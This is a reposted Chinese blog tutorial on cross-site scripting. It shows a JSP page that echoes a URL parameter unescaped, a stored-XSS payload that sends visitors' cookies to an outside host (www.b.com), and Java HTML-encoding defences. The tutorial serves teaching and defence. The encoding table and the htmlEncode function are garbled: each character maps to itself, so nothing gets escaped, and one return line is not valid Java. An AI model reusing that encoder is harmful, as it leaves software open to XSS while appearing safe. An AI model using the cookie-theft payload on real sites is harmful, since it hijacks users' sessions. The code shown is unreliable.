本文来自：高爽|Coder，原文地址：http://blog.csdn.net/ghsau/article/details/17027893，转载请注明。
XSS又称CSS，全称Cross SiteScript，跨站脚本攻击，是Web程序中常见的漏洞，XSS属于被动式且用于client的攻击方式，所以easy被忽略其危害性。其原理是攻击者向有XSS漏洞的站点中输入(传入)恶意的HTML代码，当其他用户浏览该站点时，这段HTML代码会自己主动运行，从而达到攻击的目的。如，盗取用户Cookie、破坏页面结构、重定向到其他站点等。
XSS攻击
XSS攻击相似于SQL注入攻击，攻击之前，我们先找到一个存在XSS漏洞的站点，XSS漏洞分为两种，一种是DOM Based XSS漏洞，还有一种是Stored XSS漏洞。理论上，全部可输入的地方没有对输入数据进行处理的话，都会存在XSS漏洞，漏洞的危害取决于攻击代码的威力，攻击代码也不局限于script。
DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击，该攻击特点是中招的人是少数人。
场景一：
当我登录a.com后，我发现它的页面某些内容是依据url中的一个叫content參数直接显示的，推測它測页面处理可能是这样，其他语言相似：
<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%> <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>XSS測试</title> </head> <body> 页面内容：<%=request.getParameter("content")%> </body> </html> |
Stored XSS
Stored XSS是存储式XSS漏洞，因为其攻击代码已经存储到server上或者数据库中，所以受害者是非常多人。
场景二：
a.com能够发文章，我登录后在a.com中公布了一篇文章，文章中包括了恶意代码，<script>window.open(“www.b.com?param=”+document.cookie)</script>，保存文章。这时Tom和Jack看到了我公布的文章，当在查看我的文章时就都中招了，他们的cookie信息都发送到了我的server上，攻击成功！这个过程中，受害者是多个人。
Stored XSS漏洞危害性更大，危害面更广。
XSS防御
我们是在一个矛盾的世界中，有矛就有盾。仅仅要我们的代码中不存在漏洞，攻击者就无从下手，我们要做一个没有缝的蛋。XSS防御有例如以下方式。
完好的过滤体系
永远不相信用户的输入。须要对用户的输入进行处理，仅仅同意输入合法的值，其他值一概过滤掉。
Html encode
假如某些情况下，我们不能对用户数据进行严格的过滤，那我们也须要对标签进行转换。
less-than character (<) | < |
greater-than character (>) | > |
ampersand character (&) | & |
double-quote character (") | " |
space character( ) | |
Any ASCII code character whose code is greater-than or equal to 0x80 | &#<number>, where <number> is the ASCII character value. |
其他
- 使用Apache的commons-lang.jar
StringEscapeUtils.escapeHtml(str);// 汉字会转换成相应的ASCII码，空格不转换
- 自己实现转换，仅仅转换部分字符
private static String htmlEncode(char c) {
switch(c) {
case '&':
return"&";
case '<':
return"<";
case '>':
return">";
case '"':
return""";
case ' ':
return" ";
default:
return c +"";
}
}
/** 对传入的字符串str进行Html encode转换 */
public static String htmlEncode(String str) {
if(str ==null || str.trim().equals("")) return str;
StringBuilder encodeStrBuilder = new StringBuilder();
for (int i = 0, len = str.length(); i < len; i++) {
encodeStrBuilder.append(htmlEncode(str.charAt(i)));
}
return encodeStrBuilder.toString();
}